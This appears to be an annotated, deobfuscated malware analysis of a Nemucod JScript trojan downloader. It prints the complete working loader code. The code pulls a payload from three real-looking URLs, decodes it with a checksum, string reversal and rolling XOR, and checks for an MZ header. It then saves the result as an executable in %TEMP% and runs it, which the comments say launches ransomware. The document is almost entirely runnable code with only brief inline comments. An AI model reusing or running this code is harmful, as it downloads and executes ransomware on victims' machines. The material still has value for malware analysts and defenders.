JS/TrojanDownloader.Nemucod.AJP

```
 var URLS_array=["http://zachphoto.7u.cz/0jyhh7", "http://nicesound.biz/42did" ,
"http://acepipesdeli.com.br/tffx7"];
// URLs array

 var object_Shell=WScript.CreateObject("WScript.Shell");
 var tempFolder=object_Shell.ExpandEnvironmentStrings("%TEMP%/");
// "C:\Users\DardiM\AppData\Local\Temp\"

 var uosoT7UCkbfcrM_file_path= tempFolder + "uosoT7UCkbfcrM";
 // "C:\Users\DardiM\AppData\Local\Temp\uosoT7UCkbfcrM"

 var uosoT7UCkbfcrM_EXE_file_path= uosoT7UCkbfcrM_file_path + ".exe" ;
// "C:\Users\DardiM\AppData\Local\Temp\uosoT7UCkbfcrM.exe"

 var httpMethod=["WinHttp.WinHttpRequest.(5.1)", "MSXML2.XMLHTTP"];

 // The first connction method to work is the one that gets used.
 for (var index=0; index < httpMethod.length; index++)
 {
         try {
                 var objet_Http=WScript.CreateObject(httpMethod[index]);
                 // try to  create an http Object
                 break;
         }
         catch (e)
         {
                 continue;
         }
 }

 var WAk8=1;
 var Ba=0;
 do { // do...while
         try {
                 if (1== WAk8) {
                         if (Ba >= URLS_array.length)
                         {
                                 Ba=0;
                                 WScript.Sleep(1000);
                         }
                         objet_Http.open("GET", URLS_array[Ba++ % URLS_array.length], false);
                         objet_Http.send();
                 }
                 if (objet_Http.readystate < 4)
                 {
                         WScript.Sleep(1000);
                         continue;
                 }
```

```
    var object_ADODB_Stream=WScript.CreateObject("ADODB.Stream");
    object_ADODB_Stream.open();
    object_ADODB_Stream.type=1;  // Binary data
    object_ADODB_Stream.write(objet_Http.ResponseBody);
    object_ADODB_Stream.position=0;
    object_ADODB_Stream.SaveToFile(uosoT7UCkbfcrM_file_path, 2);
    object_ADODB_Stream.close();
    var file_content=ReadTextFromFile_char_substitution_1(uosoT7UCkbfcrM_file_path);
    //  "C:\Users\DardiM\AppData\Local\Temp\uosoT7UCkbfcrM"
    file_content=deobfuscation(file_content);

    if (file_content.length < 100 * 1024 || file_content.length > 230 * 1024 ||
     ! has_MZ(file_content))
     {
        WAk8=1; continue;  // if not the valid exe file
     }
     try
     {
        WriteTextToFile_char_substitution_2(uosoT7UCkbfcrM_EXE_file_path,
        file_content);
        // try to create the valid exe, with Charset windows-437
     }
     catch (e) {
            break;
     }
    object_Shell.Run(uosoT7UCkbfcrM_EXE_file_path + " 321");
    // run the valid exe file with parameter => the ransomware ready
     break;
     }
     catch (e)
     {
        WScript.Sleep(1000);
         continue;
     }
 } while (WAk8); // end of do…while

 WScript.Quit(0);
// END OF MAIN JS PART
```

```
function deobfuscation(file_content_temp) {
          var number;
          var NJx3=file_content_temp[file_content_temp.length - 4] |
          file_content_temp[file_content_temp.length - 3] << 8 |
          file_content_temp[file_content_temp.length - 2] << 16 |
          file_content_temp[file_content_temp.length - 1] << 24;

           file_content_temp.splice(file_content_temp.length - 4, 4);
          // remove 4 last chars from content
           number=22;
           for (var index=0; index < file_content_temp.length; index++) {
                     number=(number + file_content_temp[index]) % 0x100000000;
           }
           if (number != NJx3) {
                      return [];
           }
           number=21;
           file_content_temp=file_content_temp.reverse();
           for (var index=0; index < file_content_temp.length; index++) {
                      file_content_temp[index] ^= number;            // XOR
                      number=(number + 5) % 256;
           }
           return file_content_temp;
//  content_file_temp Modified :
// -  Bitwise inclusive OR operation and Shift Operators
// - chars removed
// - reverse
// - bitwise exclusive OR operation (XOR)
//- modulo
 }

 function has_MZ(file_content) {
           if (file_content[1 * 0]== 0x4D && file_content[1]== 0x5a)
           {
                     return true;
           }
           else
           {
                     return false;
          }
 }
 function ReadTextFromFile_char_substitution_1 (file) {
        var object_ADODB_Stream=WScript.CreateObject("ADODB.Stream");
        object_ADODB_Stream.type=2;                      // Text data
        object_ADODB_Stream.Charset ="437";              // Windows-437
        object_ADODB_Stream.open();
        object_ADODB_Stream.LoadFromFile(file);
        var content_file_temp =object_ADODB_Stream.ReadText;
       // returns the resulting data as a string
        object_ADODB_Stream.close();
        return char_substitution_1(content_file_temp );
 }

function WriteTextToFile_char_substitution_2(uosoT7UCkbfcrM_EXE_file_path,
file_content_temp) {
        var object_ADODB_Stream=WScript.CreateObject("ADODB.Stream");
        object_ADODB_Stream.type=2;                      // Text data
        object_ADODB_Stream.Charset="437";               // Windows -437
        object_ADODB_Stream.open();
        object_ADODB_Stream.writeText(char_substitution_2(file_content_temp));
        object_ADODB_Stream.SaveToFile(uosoT7UCkbfcrM_EXE_file_path, 2);
        object_ADODB_Stream.close();
 }
```

```
function char_substitution_1(content_file_temp) {
         var FCi9=new Array(); FCi9[0xC7]=0x80; FCi9[0xFC]=0x81; FCi9[0xE9]=0x82;
        FCi9[0xE2]=0x83; FCi9[0xE4]=0x84; FCi9[0xE0]=0x85; FCi9[0xE5]=0x86; FCi9[0xE7]=0x87;
        FCi9[0xEA]=0x88; FCi9[0xEB]=0x89; FCi9[0xE8]=0x8A; FCi9[0xEF]=0x8B; FCi9[0xEE]=0x8C;
        FCi9[0xEC]=0x8D; FCi9[0xC4]=0x8E; FCi9[0xC5]=0x8F; FCi9[0xC9]=0x90; FCi9[0xE6]=0x91;
        FCi9[0xC6]=0x92; FCi9[0xF4]=0x93; FCi9[0xF6]=0x94; FCi9[0xF2]=0x95; FCi9[0xFB]=0x96;
        FCi9[0xF9]=0x97; FCi9[0xFF]=0x98; FCi9[0xD6]=0x99; FCi9[0xDC]=0x9A; FCi9[0xA2]=0x9B;
        FCi9[0xA3]=0x9C; FCi9[0xA5]=0x9D; FCi9[0x20A7]=0x9E; FCi9[0x192]=0x9F;
        FCi9[0xE1]=0xA0; FCi9[0xED]=0xA1; FCi9[0xF3]=0xA2; FCi9[0xFA]=0xA3; FCi9[0xF1]=0xA4;
        FCi9[0xD1]=0xA5; FCi9[0xAA]=0xA6; FCi9[0xBA]=0xA7; FCi9[0xBF]=0xA8;
        FCi9[0x2310]=0xA9; FCi9[0xAC]=0xAA; FCi9[0xBD]=0xAB; FCi9[0xBC]=0xAC;
        FCi9[0xA1]=0xAD; FCi9[0xAB]=0xAE; FCi9[0xBB]=0xAF; FCi9[0x2591]=0xB0;
        FCi9[0x2592]=0xB1; FCi9[0x2593]=0xB2; FCi9[0x2502]=0xB3; FCi9[0x2524]=0xB4;
        FCi9[0x2561]=0xB5; FCi9[0x2562]=0xB6; FCi9[0x2556]=0xB7; FCi9[0x2555]=0xB8;
        FCi9[0x2563]=0xB9; FCi9[0x2551]=0xBA; FCi9[0x2557]=0xBB; FCi9[0x255D]=0xBC;
        FCi9[0x255C]=0xBD; FCi9[0x255B]=0xBE; FCi9[0x2510]=0xBF; FCi9[0x2514]=0xC0;
        FCi9[0x2534]=0xC1; FCi9[0x252C]=0xC2; FCi9[0x251C]=0xC3; FCi9[0x2500]=0xC4;
        FCi9[0x253C]=0xC5; FCi9[0x255E]=0xC6; FCi9[0x255F]=0xC7; FCi9[0x255A]=0xC8;
        FCi9[0x2554]=0xC9; FCi9[0x2569]=0xCA; FCi9[0x2566]=0xCB; FCi9[0x2560]=0xCC;
        FCi9[0x2550]=0xCD; FCi9[0x256C]=0xCE; FCi9[0x2567]=0xCF; FCi9[0x2568]=0xD0;
        FCi9[0x2564]=0xD1; FCi9[0x2565]=0xD2; FCi9[0x2559]=0xD3; FCi9[0x2558]=0xD4;
        FCi9[0x2552]=0xD5; FCi9[0x2553]=0xD6; FCi9[0x256B]=0xD7; FCi9[0x256A]=0xD8;
        FCi9[0x2518]=0xD9; FCi9[0x250C]=0xDA; FCi9[0x2588]=0xDB; FCi9[0x2584]=0xDC;
        FCi9[0x258C]=0xDD; FCi9[0x2590]=0xDE; FCi9[0x2580]=0xDF; FCi9[0x3B1]=0xE0;
        FCi9[0xDF]=0xE1; FCi9[0x393]=0xE2; FCi9[0x3C0]=0xE3; FCi9[0x3A3]=0xE4;
        FCi9[0x3C3]=0xE5; FCi9[0xB5]=0xE6; FCi9[0x3C4]=0xE7; FCi9[0x3A6]=0xE8;
        FCi9[0x398]=0xE9; FCi9[0x3A9]=0xEA; FCi9[0x3B4]=0xEB; FCi9[0x221E]=0xEC;
        FCi9[0x3C6]=0xED; FCi9[0x3B5]=0xEE; FCi9[0x2229]=0xEF; FCi9[0x2261]=0xF0;
        FCi9[0xB1]=0xF1; FCi9[0x2265]=0xF2; FCi9[0x2264]=0xF3; FCi9[0x2320]=0xF4;
        FCi9[0x2321]=0xF5; FCi9[0xF7]=0xF6; FCi9[0x2248]=0xF7; FCi9[0xB0]=0xF8;
        FCi9[0x2219]=0xF9; FCi9[0xB7]=0xFA; FCi9[0x221A]=0xFB; FCi9[0x207F]=0xFC;
        FCi9[0xB2]=0xFD; FCi9[0x25A0]=0xFE; FCi9[0xA0]=0xFF;
         var KUXf=new Array();
         for (var index=0; index < content_file_temp.length; index++) {
                 var LEAc=content_file_temp.charCodeAt(index);
                 if (LEAc < (128)) {
                         var VCRBj=LEAc;
                }
                else
                {
                         var VCRBj=FCi9[LEAc];
                }
         KUXf.push(VCRBj);
        }
         return KUXf; //  content_file_temp Modified
}
```

```
function char_substitution_2(content_file_temp) {
        var BCm=new Array(); BCm[0x80]=0x00C7; BCm[0x81]=0x00FC; BCm[0x82]=0x00E9;
        BCm[0x83]=0x00E2; BCm[0x84]=0x00E4; BCm[0x85]=0x00E0; BCm[0x86]=0x00E5;
        BCm[0x87]=0x00E7; BCm[0x88]=0x00EA; BCm[0x89]=0x00EB; BCm[0x8A]=0x00E8;
        BCm[0x8B]=0x00EF; BCm[0x8C]=0x00EE; BCm[0x8D]=0x00EC; BCm[0x8E]=0x00C4;
        BCm[0x8F]=0x00C5; BCm[0x90]=0x00C9; BCm[0x91]=0x00E6; BCm[0x92]=0x00C6;
        BCm[0x93]=0x00F4; BCm[0x94]=0x00F6; BCm[0x95]=0x00F2; BCm[0x96]=0x00FB;
        BCm[0x97]=0x00F9; BCm[0x98]=0x00FF; BCm[0x99]=0x00D6; BCm[0x9A]=0x00DC;
        BCm[0x9B]=0x00A2; BCm[0x9C]=0x00A3; BCm[0x9D]=0x00A5; BCm[0x9E]=0x20A7;
        BCm[0x9F]=0x0192; BCm[0xA0]=0x00E1; BCm[0xA1]=0x00ED; BCm[0xA2]=0x00F3;
        BCm[0xA3]=0x00FA; BCm[0xA4]=0x00F1; BCm[0xA5]=0x00D1; BCm[0xA6]=0x00AA;
        BCm[0xA7]=0x00BA; BCm[0xA8]=0x00BF; BCm[0xA9]=0x2310; BCm[0xAA]=0x00AC;
        BCm[0xAB]=0x00BD; BCm[0xAC]=0x00BC; BCm[0xAD]=0x00A1; BCm[0xAE]=0x00AB;
        BCm[0xAF]=0x00BB; BCm[0xB0]=0x2591; BCm[0xB1]=0x2592; BCm[0xB2]=0x2593;
        BCm[0xB3]=0x2502; BCm[0xB4]=0x2524; BCm[0xB5]=0x2561; BCm[0xB6]=0x2562;
        BCm[0xB7]=0x2556; BCm[0xB8]=0x2555; BCm[0xB9]=0x2563; BCm[0xBA]=0x2551;
        BCm[0xBB]=0x2557; BCm[0xBC]=0x255D; BCm[0xBD]=0x255C; BCm[0xBE]=0x255B;
        BCm[0xBF]=0x2510; BCm[0xC0]=0x2514; BCm[0xC1]=0x2534; BCm[0xC2]=0x252C;
        BCm[0xC3]=0x251C; BCm[0xC4]=0x2500; BCm[0xC5]=0x253C; BCm[0xC6]=0x255E;
        BCm[0xC7]=0x255F; BCm[0xC8]=0x255A; BCm[0xC9]=0x2554; BCm[0xCA]=0x2569;
        BCm[0xCB]=0x2566; BCm[0xCC]=0x2560; BCm[0xCD]=0x2550; BCm[0xCE]=0x256C;
        BCm[0xCF]=0x2567; BCm[0xD0]=0x2568; BCm[0xD1]=0x2564; BCm[0xD2]=0x2565;
        BCm[0xD3]=0x2559; BCm[0xD4]=0x2558; BCm[0xD5]=0x2552; BCm[0xD6]=0x2553;
        BCm[0xD7]=0x256B; BCm[0xD8]=0x256A; BCm[0xD9]=0x2518; BCm[0xDA]=0x250C;
        BCm[0xDB]=0x2588; BCm[0xDC]=0x2584; BCm[0xDD]=0x258C; BCm[0xDE]=0x2590;
        BCm[0xDF]=0x2580; BCm[0xE0]=0x03B1; BCm[0xE1]=0x00DF; BCm[0xE2]=0x0393;
        BCm[0xE3]=0x03C0; BCm[0xE4]=0x03A3; BCm[0xE5]=0x03C3; BCm[0xE6]=0x00B5;
        BCm[0xE7]=0x03C4; BCm[0xE8]=0x03A6; BCm[0xE9]=0x0398; BCm[0xEA]=0x03A9;
        BCm[0xEB]=0x03B4; BCm[0xEC]=0x221E; BCm[0xED]=0x03C6; BCm[0xEE]=0x03B5;
        BCm[0xEF]=0x2229; BCm[0xF0]=0x2261; BCm[0xF1]=0x00B1; BCm[0xF2]=0x2265;
        BCm[0xF3]=0x2264; BCm[0xF4]=0x2320; BCm[0xF5]=0x2321; BCm[0xF6]=0x00F7;
        BCm[0xF7]=0x2248; BCm[0xF8]=0x00B0; BCm[0xF9]=0x2219; BCm[0xFA]=0x00B7;
        BCm[0xFB]=0x221A; BCm[0xFC]=0x207F; BCm[0xFD]=0x00B2; BCm[0xFE]=0x25A0;
        BCm[0xFF]=0x00A0;
        var NNBLl=new Array();
        var QXTc4="";
        var VCRBj;
        var LEAc;
        for (var index=0; index < content_file_temp.length; index++) {
                VCRBj=content_file_temp[index];
                if (VCRBj < 128) {
                        LEAc=VCRBj;
                }
                else
                {
                        LEAc=BCm[VCRBj];
                }
                NNBLl.push(String.fromCharCode(LEAc));
        }
        QXTc4=NNBLl.join("");
        return QXTc4;  // content_file_temp Modified
}
```